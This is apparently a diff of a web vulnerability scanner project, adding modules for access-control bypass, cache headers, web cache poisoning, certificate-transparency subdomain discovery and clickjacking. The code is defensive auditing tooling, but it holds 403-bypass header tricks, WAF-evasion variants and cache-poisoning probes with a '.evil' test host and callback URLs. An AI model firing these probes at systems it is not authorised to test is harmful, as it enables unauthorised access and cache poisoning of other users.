for hdrs in header_tricks:
|
| 114 |
+
s = self._get_status(base + "/", extra_headers=hdrs)
|
| 115 |
+
if s not in (401, 403, 404, 0):
|
| 116 |
+
header_key = list(hdrs.keys())[0]
|
| 117 |
+
header_val = list(hdrs.values())[0]
|
| 118 |
+
bypasses.append({"method": f"Header: `{header_key}: {header_val}`", "status": s})
|
| 119 |
+
for header_name in hdrs:
|
| 120 |
+
for enc_name, enc_val in waf_evade(header_name):
|
| 121 |
+
waf_hdrs = {enc_val: hdrs[header_name]}
|
| 122 |
+
s2 = self._get_status(base + "/", extra_headers=waf_hdrs)
|
| 123 |
+
if s2 not in (401, 403, 404, 0):
|
| 124 |
+
bypasses.append({"method": f"Header (WAF evade): `{enc_val}: {hdrs[header_name]}`", "status": s2})
|
| 125 |
+
|
| 126 |
+
for method in ["POST", "HEAD", "OPTIONS", "PUT", "DELETE", "PATCH", "TRACE", "CONNECT", "PROPFIND", "MOVE", "COPY", "MKCOL"]:
|
| 127 |
+
s = self._get_status(base + path, method=method)
|
| 128 |
+
if s not in (401, 403, 404, 0):
|
| 129 |
+
bypasses.append({"method": f"HTTP method: `{method}`", "status": s})
|
| 130 |
+
|
| 131 |
+
if bypasses:
|
| 132 |
+
self.add_vuln(
|
| 133 |
+
title=f"403/401 Access Control Bypass on `{path}`",
|
| 134 |
+
severity="High",
|
| 135 |
+
category="Access Control Bypass",
|
| 136 |
+
cvss_score=7.5,
|
| 137 |
+
description=f"Path `{path}` returned HTTP {original_status} normally, but the "
|
| 138 |
+
f"following techniques bypassed the restriction:\n\n" +
|
| 139 |
+
"\n".join(f"- {b['method']} → HTTP **{b['status']}**" for b in bypasses[:20]),
|
| 140 |
+
remediation="1. Implement access control at the application layer, not just the URL.\n"
|
| 141 |
+
"2. Normalize URLs before access control checks (strip ../, %2f, trailing dots).\n"
|
| 142 |
+
"3. Reject X-Original-URL and X-Rewrite-URL headers at the reverse proxy.\n"
|
| 143 |
+
"4. Never trust X-Forwarded-For or Client-IP for authorization decisions.",
|
| 144 |
+
evidence="\n".join(f"{b['method']} → {b['status']}" for b in bypasses[:20]),
|
| 145 |
+
confidence="High",
|
| 146 |
+
cwe_ids=["CWE-290"],
|
| 147 |
+
owasp_category="A01:2021 – Broken Access Control",
|
| 148 |
+
)
|
| 149 |
+
self.log("CRITICAL", f"[403Bypass] {len(bypasses)} bypass(es) found for {path}!")
|
| 150 |
+
|
| 151 |
+
def _get_status(self, url, method="GET", extra_headers=None):
|
| 152 |
+
headers = {}
|
| 153 |
+
if extra_headers:
|
| 154 |
+
headers.update(extra_headers)
|
| 155 |
+
body, status = self._make_request(url, method=method, headers=headers if headers else None)
|
| 156 |
+
return status
|
backend/scanners/cache_control_scanner.py
ADDED
|
@@ -0,0 +1,69 @@
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
| 1 |
+
"""
|
| 2 |
+
cache_control_scanner.py — Browser Cache Control Scanner
|
| 3 |
+
"""
|
| 4 |
+
import urllib.request, urllib.error
|
| 5 |
+
from scanners.base_scanner import BaseScanner
|
| 6 |
+
|
| 7 |
+
SENSITIVE_PATHS = [
|
| 8 |
+
"/account", "/profile", "/dashboard", "/settings", "/api/me",
|
| 9 |
+
"/api/user", "/admin", "/invoices", "/billing", "/orders",
|
| 10 |
+
"/payment", "/statements", "/reports",
|
| 11 |
+
]
|
| 12 |
+
|
| 13 |
+
class CacheControlScanner(BaseScanner):
|
| 14 |
+
SCANNER_NAME = "Browser Cache Control Scanner"
|
| 15 |
+
_SCANNER_KEY = "cache_control"
|
| 16 |
+
def __init__(self, scan_id, target, domain, **kwargs):
|
| 17 |
+
super().__init__(scan_id, target, domain, **kwargs)
|
| 18 |
+
|
| 19 |
+
def run(self) -> list:
|
| 20 |
+
self.log("INFO", f"[CacheControl] Checking Cache-Control headers on sensitive pages of {self.target}...")
|
| 21 |
+
base = self.target.rstrip("/")
|
| 22 |
+
risky = []
|
| 23 |
+
|
| 24 |
+
# Check main page
|
| 25 |
+
for path in [""] + SENSITIVE_PATHS:
|
| 26 |
+
url = base + path if path else base
|
| 27 |
+
headers, status = self._get_headers(url)
|
| 28 |
+
if status not in (200, 302): continue
|
| 29 |
+
cc = headers.get("cache-control", "").lower()
|
| 30 |
+
pragma = headers.get("pragma", "").lower()
|
| 31 |
+
ct = headers.get("content-type", "").lower()
|
| 32 |
+
# Skip non-HTML/JSON (images, CSS, etc.)
|
| 33 |
+
if any(t in ct for t in ("image/", "text/css", "font/", "javascript")): continue
|
| 34 |
+
# Vulnerable if no-store is absent
|
| 35 |
+
if "no-store" not in cc:
|
| 36 |
+
risky.append({
|
| 37 |
+
"url": url, "cache-control": cc or "(missing)",
|
| 38 |
+
"pragma": pragma or "(missing)", "status": status
|
| 39 |
+
})
|
| 40 |
+
|
| 41 |
+
if risky:
|
| 42 |
+
self.add_vuln(
|
| 43 |
+
title=f"Sensitive Pages Cacheable by Browser ({len(risky)} pages)",
|
| 44 |
+
severity="Medium",
|
| 45 |
+
category="Information Disclosure",
|
| 46 |
+
cvss_score=5.3,
|
| 47 |
+
description="The following authenticated/sensitive pages lack `Cache-Control: no-store`, "
|
| 48 |
+
"allowing browsers and shared proxies to cache the responses. On shared/public devices, "
|
| 49 |
+
"a subsequent user can press Back or access the browser cache to retrieve private data:\n\n" +
|
| 50 |
+
"\n".join(f"- `{r['url']}` — Cache-Control: `{r['cache-control']}`" for r in risky[:8]),
|
| 51 |
+
remediation="Add to all authenticated responses:\n"
|
| 52 |
+
"`Cache-Control: no-store, no-cache, must-revalidate, max-age=0`\n"
|
| 53 |
+
"`Pragma: no-cache`\n"
|
| 54 |
+
"`Expires: 0`",
|
| 55 |
+
)
|
| 56 |
+
else:
|
| 57 |
+
self.log("SUCCESS", "[CacheControl] All sensitive pages properly set Cache-Control: no-store.")
|
| 58 |
+
return self.vulns
|
| 59 |
+
|
| 60 |
+
def _get_headers(self, url):
|
| 61 |
+
try:
|
| 62 |
+
req = urllib.request.Request(url, headers=self._make_headers())
|
| 63 |
+
with urllib.request.urlopen(req, timeout=5, context=self.get_ssl_context()) as r:
|
| 64 |
+
return {k.lower(): v for k, v in r.headers.items()}, r.status
|
| 65 |
+
except urllib.error.HTTPError as e:
|
| 66 |
+
return {k.lower(): v for k, v in e.headers.items()}, e.code
|
| 67 |
+
except Exception as e:
|
| 68 |
+
self.log("ERROR", f"[CacheControl] _get_headers error: {e}")
|
| 69 |
+
return {}, 0
|
backend/scanners/cache_poisoning_scanner.py
ADDED
|
@@ -0,0 +1,194 @@
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
| 1 |
+
"""
|
| 2 |
+
cache_poisoning_scanner.py — Web Cache Poisoning Scanner
|
| 3 |
+
=========================================================
|
| 4 |
+
Tests whether unkeyed HTTP headers (X-Forwarded-Host, X-Original-URL,
|
| 5 |
+
X-Rewrite-URL) are reflected in the response, enabling CDN/reverse-proxy
|
| 6 |
+
cache poisoning.
|
| 7 |
+
"""
|
| 8 |
+
import urllib.parse, time
|
| 9 |
+
from scanners.base_scanner import BaseScanner
|
| 10 |
+
from utils.anomaly import TimingAnomalyDetector
|
| 11 |
+
from utils.callback import build_callback_url
|
| 12 |
+
|
| 13 |
+
UNKEYED_HEADERS = [
|
| 14 |
+
("X-Forwarded-Host", "wss-cache-poison-test.evil"),
|
| 15 |
+
("X-Original-URL", "/wss-cache-poison-probe"),
|
| 16 |
+
("X-Rewrite-URL", "/wss-cache-poison-probe"),
|
| 17 |
+
("X-Forwarded-Scheme", "nothttps"),
|
| 18 |
+
("X-Forwarded-Proto", "nothttps"),
|
| 19 |
+
("X-Host", "wss-cache-poison-test.evil"),
|
| 20 |
+
]
|
| 21 |
+
|
| 22 |
+
|
| 23 |
+
class CachePoisoningScanner(BaseScanner):
|
| 24 |
+
SCANNER_NAME = "Web Cache Poisoning Scanner"
|
| 25 |
+
_SCANNER_KEY = "cache_poisoning"
|
| 26 |
+
|
| 27 |
+
def __init__(self, scan_id, target, domain, **kwargs):
|
| 28 |
+
super().__init__(scan_id, target, domain, **kwargs)
|
| 29 |
+
self._timing = TimingAnomalyDetector()
|
| 30 |
+
|
| 31 |
+
def run(self) -> list:
|
| 32 |
+
self.log("INFO", f"[CachePoison] Testing cache poisoning via unkeyed headers on {self.target}...")
|
| 33 |
+
|
| 34 |
+
cwe = ["CWE-644"]
|
| 35 |
+
owasp = "A04:2021 – Insecure Design"
|
| 36 |
+
self._cwe = cwe
|
| 37 |
+
self._owasp = owasp
|
| 38 |
+
|
| 39 |
+
for header_name, header_val in UNKEYED_HEADERS:
|
| 40 |
+
self._test_unkeyed_header(header_name, header_val)
|
| 41 |
+
|
| 42 |
+
self._test_callback_header()
|
| 43 |
+
self._test_cache_key_confusion()
|
| 44 |
+
self._test_web_cache_deception()
|
| 45 |
+
|
| 46 |
+
if not self.vulns:
|
| 47 |
+
self.log("SUCCESS", "[CachePoison] No cache poisoning vectors detected.")
|
| 48 |
+
return self.vulns
|
| 49 |
+
|
| 50 |
+
def _test_unkeyed_header(self, header_name, header_val):
|
| 51 |
+
body, status, resp_headers = self._make_request(
|
| 52 |
+
self.target,
|
| 53 |
+
headers={"User-Agent": "LarShield/2.0", header_name: header_val},
|
| 54 |
+
return_response_obj=True,
|
| 55 |
+
)
|
| 56 |
+
|
| 57 |
+
if body is None:
|
| 58 |
+
self.log("ERROR", f"[CachePoison] Request failed for header {header_name}")
|
| 59 |
+
return
|
| 60 |
+
|
| 61 |
+
reflected_in_body = header_val in body
|
| 62 |
+
reflected_in_headers = any(header_val in v for v in resp_headers.values())
|
| 63 |
+
|
| 64 |
+
if reflected_in_body or reflected_in_headers:
|
| 65 |
+
location = "response body" if reflected_in_body else "response headers"
|
| 66 |
+
self.add_vuln(
|
| 67 |
+
title=f"Cache Poisoning via Unkeyed Header: {header_name}",
|
| 68 |
+
severity="High",
|
| 69 |
+
category="Cache Poisoning",
|
| 70 |
+
cvss_score=7.4,
|
| 71 |
+
description=f"Injecting `{header_name}: {header_val}` caused the value to be "
|
| 72 |
+
f"reflected in the {location}. If the CDN/reverse proxy caches this response "
|
| 73 |
+
f"without keying on `{header_name}`, all subsequent users will receive the "
|
| 74 |
+
f"poisoned response, enabling XSS or phishing at scale.",
|
| 75 |
+
remediation=f"1. Configure the cache to vary on `{header_name}` or strip it.\n"
|
| 76 |
+
f"2. The application should not reflect `{header_name}` in output.\n"
|
| 77 |
+
f"3. Use Cache-Control: private, no-store for sensitive pages.\n"
|
| 78 |
+
f"4. Test with: `curl -H '{header_name}: evil' {self.target}`",
|
| 79 |
+
evidence=f"Value '{header_val}' reflected in {location}",
|
| 80 |
+
payload=f"{header_name}: {header_val}",
|
| 81 |
+
request_details=f"GET with {header_name}: {header_val}",
|
| 82 |
+
response_details=f"Reflected in {location}",
|
| 83 |
+
confidence="Confirmed",
|
| 84 |
+
cwe_ids=self._cwe,
|
| 85 |
+
owasp_category=self._owasp,
|
| 86 |
+
)
|
| 87 |
+
self.log("WARNING", f"[CachePoison] Reflected {header_name} in {location}!")
|
| 88 |
+
else:
|
| 89 |
+
self.log("SUCCESS", f"[CachePoison] {header_name}: Not reflected")
|
| 90 |
+
|
| 91 |
+
def _test_cache_key_confusion(self):
|
| 92 |
+
self.log("INFO", "[CachePoison] Testing cache key confusion...")
|
| 93 |
+
try:
|
| 94 |
+
probe_val = "wss-cache-confusion-probe"
|
| 95 |
+
body, status, resp_headers = self._make_request(
|
| 96 |
+
self.target,
|
| 97 |
+
headers={
|
| 98 |
+
"User-Agent": "LarShield/2.0",
|
| 99 |
+
"X-Forwarded-Host": probe_val,
|
| 100 |
+
"X-Host": probe_val,
|
| 101 |
+
},
|
| 102 |
+
return_response_obj=True,
|
| 103 |
+
)
|
| 104 |
+
if body and probe_val in body:
|
| 105 |
+
self.add_vuln(
|
| 106 |
+
title="Cache Key Confusion — Multiple Unkeyed Headers",
|
| 107 |
+
severity="High",
|
| 108 |
+
category="Cache Poisoning",
|
| 109 |
+
cvss_score=7.0,
|
| 110 |
+
description="Multiple unkeyed headers (X-Forwarded-Host and X-Host) were sent together and their value was reflected. An attacker can exploit cache key confusion by injecting different values that get merged into the cached response.",
|
| 111 |
+
remediation="Normalize or strip all unkeyed headers at the reverse proxy before they reach the application.",
|
| 112 |
+
evidence=f"Probe value '{probe_val}' reflected in body",
|
| 113 |
+
payload=f"X-Forwarded-Host: {probe_val}, X-Host: {probe_val}",
|
| 114 |
+
request_details="GET with multiple conflicting host headers",
|
| 115 |
+
response_details=f"Reflected probe in body",
|
| 116 |
+
confidence="High",
|
| 117 |
+
cwe_ids=self._cwe,
|
| 118 |
+
owasp_category=self._owasp,
|
| 119 |
+
)
|
| 120 |
+
except Exception as e:
|
| 121 |
+
self.log("ERROR", f"[CachePoison] Cache key confusion test error: {e}")
|
| 122 |
+
|
| 123 |
+
def _test_callback_header(self):
|
| 124 |
+
self.log("INFO", "[CachePoison] Testing callback-based cache poisoning...")
|
| 125 |
+
callback_url = build_callback_url("/cache-poison")
|
| 126 |
+
for header_name in ["X-Forwarded-Host", "X-Host", "X-Original-URL"]:
|
| 127 |
+
body, status, resp_headers = self._make_request(
|
| 128 |
+
self.target,
|
| 129 |
+
headers={header_name: callback_url},
|
| 130 |
+
return_response_obj=True,
|
| 131 |
+
)
|
| 132 |
+
if body and callback_url in body:
|
| 133 |
+
self.add_vuln(
|
| 134 |
+
title=f"Cache Poisoning via Callback URL in {header_name}",
|
| 135 |
+
severity="Critical",
|
| 136 |
+
category="Cache Poisoning",
|
| 137 |
+
cvss_score=8.6,
|
| 138 |
+
description=f"Injecting a callback URL in `{header_name}` was reflected in the response. "
|
| 139 |
+
"This confirms the header is unkeyed and can be used for blind cache poisoning "
|
| 140 |
+
"with out-of-band detection.",
|
| 141 |
+
remediation=f"Strip or key `{header_name}`. Validate header values at the proxy.",
|
| 142 |
+
evidence=f"Callback URL '{callback_url}' reflected in body",
|
| 143 |
+
payload=f"{header_name}: {callback_url}",
|
| 144 |
+
request_details=f"GET with {header_name}: {callback_url}",
|
| 145 |
+
response_details="Callback URL reflected in body",
|
| 146 |
+
confidence="Confirmed",
|
| 147 |
+
cwe_ids=self._cwe,
|
| 148 |
+
owasp_category=self._owasp,
|
| 149 |
+
)
|
| 150 |
+
self.log("WARNING", f"[CachePoison] Callback reflected via {header_name}!")
|
| 151 |
+
|
| 152 |
+
def _test_web_cache_deception(self):
|
| 153 |
+
self.log("INFO", "[CachePoison] Testing web cache deception...")
|
| 154 |
+
try:
|
| 155 |
+
parsed = urllib.parse.urlparse(self.target)
|
| 156 |
+
deception_path = parsed.path.rstrip("/") + "/nonexistent.css"
|
| 157 |
+
test_url = parsed._replace(path=deception_path).geturl()
|
| 158 |
+
|
| 159 |
+
t0 = time.monotonic()
|
| 160 |
+
body, status, resp_headers = self._make_request(
|
| 161 |
+
test_url, return_response_obj=True,
|
| 162 |
+
)
|
| 163 |
+
elapsed = time.monotonic() - t0
|
| 164 |
+
self._timing.record_timing(f"deception_{test_url}", elapsed)
|
| 165 |
+
|
| 166 |
+
if body and status == 200 and "text/css" not in str(resp_headers.get("Content-Type", "")):
|
| 167 |
+
cache_ctl = str(resp_headers.get("Cache-Control", ""))
|
| 168 |
+
if "public" in cache_ctl or ("max-age" in cache_ctl and int(resp_headers.get("Content-Length", "0") or "0") > 100):
|
| 169 |
+
timing_anomaly = self._timing.is_anomalous(elapsed, 2.5)
|
| 170 |
+
sev = "Critical" if timing_anomaly else "Medium"
|
| 171 |
+
cvss = 8.0 if timing_anomaly else 5.4
|
| 172 |
+
self.add_vuln(
|
| 173 |
+
title="Web Cache Deception — Static Extension Serves Dynamic Content" +
|
| 174 |
+
(" (Timing Anomaly)" if timing_anomaly else ""),
|
| 175 |
+
severity=sev,
|
| 176 |
+
category="Cache Poisoning",
|
| 177 |
+
cvss_score=cvss,
|
| 178 |
+
description=f"Appending '.css' to the path returns a 200 response with non-CSS content. "
|
| 179 |
+
"If the CDN caches this based on extension, an attacker can trick users into "
|
| 180 |
+
"leaking sensitive data via cached responses.",
|
| 181 |
+
remediation="Configure the cache to not cache based on file extension alone. "
|
| 182 |
+
"Use Cache-Control: no-store for sensitive pages. Reject or redirect unknown paths.",
|
| 183 |
+
evidence=f"GET {test_url} returned {status} with Content-Type: "
|
| 184 |
+
f"{resp_headers.get('Content-Type', 'N/A')}",
|
| 185 |
+
payload=deception_path,
|
| 186 |
+
request_details=f"GET {test_url}",
|
| 187 |
+
response_details=f"Status: {status}, Content-Type: "
|
| 188 |
+
f"{resp_headers.get('Content-Type', 'N/A')}",
|
| 189 |
+
confidence="Medium",
|
| 190 |
+
cwe_ids=["CWE-444"],
|
| 191 |
+
owasp_category=self._owasp,
|
| 192 |
+
)
|
| 193 |
+
except Exception as e:
|
| 194 |
+
self.log("ERROR", f"[CachePoison] Web cache deception test error: {e}")
|
backend/scanners/cert_transparency_scanner.py
ADDED
|
@@ -0,0 +1,70 @@
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
| 1 |
+
"""
|
| 2 |
+
cert_transparency_scanner.py — Certificate Transparency Scanner
|
| 3 |
+
"""
|
| 4 |
+
import json, urllib.request
|
| 5 |
+
from scanners.base_scanner import BaseScanner
|
| 6 |
+
|
| 7 |
+
class CertTransparencyScanner(BaseScanner):
|
| 8 |
+
SCANNER_NAME = "Certificate Transparency Scanner"
|
| 9 |
+
_SCANNER_KEY = "cert_transparency"
|
| 10 |
+
def __init__(self, scan_id, target, domain, **kwargs):
|
| 11 |
+
super().__init__(scan_id, target, domain, **kwargs)
|
| 12 |
+
|
| 13 |
+
def run(self) -> list:
|
| 14 |
+
self.log("INFO", f"[CertTransp] Querying crt.sh for {self.domain}...")
|
| 15 |
+
try:
|
| 16 |
+
url = f"https://crt.sh/?q=%25.{self.domain}&output=json"
|
| 17 |
+
req = urllib.request.Request(url, headers=self._make_headers())
|
| 18 |
+
with urllib.request.urlopen(req, timeout=15, context=self.get_ssl_context()) as r:
|
| 19 |
+
data = json.loads(r.read().decode("utf-8", errors="ignore"))
|
| 20 |
+
except Exception as e:
|
| 21 |
+
self.log("WARNING", f"[CertTransp] crt.sh query failed: {e}")
|
| 22 |
+
return self.vulns
|
| 23 |
+
|
| 24 |
+
if not data:
|
| 25 |
+
self.log("INFO", "[CertTransp] No CT log entries found.")
|
| 26 |
+
return self.vulns
|
| 27 |
+
|
| 28 |
+
# Extract unique subdomains
|
| 29 |
+
subdomains = set()
|
| 30 |
+
for entry in data:
|
| 31 |
+
name = entry.get("name_value", "")
|
| 32 |
+
for line in name.split("\n"):
|
| 33 |
+
line = line.strip().lower()
|
| 34 |
+
if line and line != self.domain and self.domain in line:
|
| 35 |
+
subdomains.add(line)
|
| 36 |
+
|
| 37 |
+
if len(subdomains) > 5:
|
| 38 |
+
self.add_vuln(
|
| 39 |
+
title=f"Certificate Transparency: {len(subdomains)} Subdomains Discovered",
|
| 40 |
+
severity="Low", category="Reconnaissance", cvss_score=0.0,
|
| 41 |
+
description=f"CT logs reveal {len(subdomains)} subdomains for `{self.domain}`:\n\n" +
|
| 42 |
+
"\n".join(f"- `{s}`" for s in sorted(subdomains)[:30]),
|
| 43 |
+
remediation="Audit all discovered subdomains. Decommission unused ones. "
|
| 44 |
+
"Use wildcard certs sparingly as they expose the full scope of your infrastructure.")
|
| 45 |
+
|
| 46 |
+
# Check for expired certs
|
| 47 |
+
from datetime import datetime, timezone
|
| 48 |
+
expired = []
|
| 49 |
+
for entry in data[:50]:
|
| 50 |
+
try:
|
| 51 |
+
not_after = entry.get("not_after", "")
|
| 52 |
+
exp_date = datetime.strptime(not_after, "%Y-%m-%dT%H:%M:%S").replace(tzinfo=timezone.utc)
|
| 53 |
+
if exp_date < datetime.now(timezone.utc):
|
| 54 |
+
cn = entry.get("common_name", "unknown")
|
| 55 |
+
if cn not in [e[0] for e in expired]:
|
| 56 |
+
expired.append((cn, not_after))
|
| 57 |
+
except Exception as e:
|
| 58 |
+
self.log("ERROR", f"[CertTransp] entry parsing error: {e}")
|
| 59 |
+
continue
|
| 60 |
+
|
| 61 |
+
if expired:
|
| 62 |
+
self.add_vuln(
|
| 63 |
+
title=f"Expired Certificates Found ({len(expired)})",
|
| 64 |
+
severity="Low", category="Certificate Management", cvss_score=3.5,
|
| 65 |
+
description=f"Expired certificates in CT logs:\n\n" +
|
| 66 |
+
"\n".join(f"- `{cn}` expired {d}" for cn, d in expired[:10]),
|
| 67 |
+
remediation="Renew or revoke expired certificates. Use automated renewal (Let's Encrypt, certbot).")
|
| 68 |
+
|
| 69 |
+
self.log("SUCCESS", f"[CertTransp] Found {len(subdomains)} subdomains, {len(expired)} expired certs.")
|
| 70 |
+
return self.vulns
|
backend/scanners/clickjacking_scanner.py
ADDED
|
@@ -0,0 +1,179 @@
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
| 1 |
+
"""
|
| 2 |
+
clickjacking_scanner.py — Clickjacking Vulnerability Scanner
|
| 3 |
+
=============================================================
|
| 4 |
+
Detects clickjacking vulnerabilities through multiple vectors:
|
| 5 |
+
- X-Frame-Options header (DENY / SAMEORIGIN / ALLOWFROM)
|
| 6 |
+
- CSP frame-ancestors directive
|
| 7 |
+
- JavaScript framebusting code detection
|
| 8 |
+
- Attempts to verify if the page can actually be framed
|
| 9 |
+
- Scores the overall clickjacking protection level
|
| 10 |
+
"""
|
| 11 |
+
import re
|
| 12 |
+
import urllib.request
|
| 13 |
+
import urllib.error
|
| 14 |
+
from scanners.base_scanner import BaseScanner
|
| 15 |
+
|
| 16 |
+
FRAMEBUSTING_RE = re.compile(
|
| 17 |
+
r"(top\.location|self\.location|parent\.location|"
|
| 18 |
+
r"window\.top\s*!==\s*window\.self|"
|
| 19 |
+
r"if\s*\(\s*window\s*!==\s*window\.top|"
|
| 20 |
+
r"if\s*\(\s*self\s*!==\s*top)",
|
| 21 |
+
re.I
|
| 22 |
+
)
|
| 23 |
+
|
| 24 |
+
|
| 25 |
+
class ClickjackingScanner(BaseScanner):
|
| 26 |
+
SCANNER_NAME = "Clickjacking Vulnerability Scanner"
|
| 27 |
+
_SCANNER_KEY = "clickjacking"
|
| 28 |
+
|
| 29 |
+
def __init__(self, scan_id, target, domain, **kwargs):
|
| 30 |
+
super().__init__(scan_id, target, domain, **kwargs)
|
| 31 |
+
|
| 32 |
+
def run(self) -> list:
|
| 33 |
+
self.log("INFO", f"[Clickjacking] Auditing clickjacking protection on {self.target}...")
|
| 34 |
+
try:
|
| 35 |
+
headers, body = self._fetch()
|
| 36 |
+
self._audit(headers, body)
|
| 37 |
+
except Exception as e:
|
| 38 |
+
self.log("ERROR", f"[Clickjacking] Audit error: {e}")
|
| 39 |
+
|
| 40 |
+
self.log(
|
| 41 |
+
"SUCCESS" if not self.vulns else "WARNING",
|
| 42 |
+
f"[Clickjacking] Audit complete. {len(self.vulns)} issue(s).",
|
| 43 |
+
)
|
| 44 |
+
return self.vulns
|
| 45 |
+
|
| 46 |
+
def _fetch(self):
|
| 47 |
+
body, status, resp_headers = self._make_request(
|
| 48 |
+
self.target,
|
| 49 |
+
headers={"User-Agent": "LarShield/2.0 Clickjacking-Audit"},
|
| 50 |
+
return_response_obj=True,
|
| 51 |
+
)
|
| 52 |
+
headers = {k.lower(): v for k, v in resp_headers.items()} if resp_headers else {}
|
| 53 |
+
return headers, body or ""
|
| 54 |
+
|
| 55 |
+
def _audit(self, headers: dict, body: str):
|
| 56 |
+
xfo = headers.get("x-frame-options", "").upper()
|
| 57 |
+
csp = headers.get("content-security-policy", "")
|
| 58 |
+
has_framebusting = bool(FRAMEBUSTING_RE.search(body))
|
| 59 |
+
|
| 60 |
+
xfo_protected = xfo in ("DENY", "SAMEORIGIN") or xfo.startswith("ALLOW-FROM")
|
| 61 |
+
